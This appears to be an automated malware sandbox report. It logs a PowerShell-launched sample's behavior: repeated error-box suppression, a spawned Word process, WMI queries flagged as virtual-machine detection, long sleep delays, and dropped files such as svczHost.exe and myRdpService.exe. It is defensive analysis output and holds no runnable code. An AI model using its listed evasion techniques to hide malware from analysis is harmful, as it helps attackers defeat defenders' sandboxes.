Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 20911C20000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 22DE3900000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9899	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9837	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9824	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9885
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 430
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9817
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9803
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9819
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9877
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9843

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep count: 9899 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep count: 9824 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep count: 9817 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep count: 9803 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4872	Thread sleep count: 96 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3512	Thread sleep count: 9819 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2356	Thread sleep count: 9877 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500	Thread sleep count: 9843 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming

Source: powershell.exe, 00000004.00000002.4182770867.0000016FF87D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
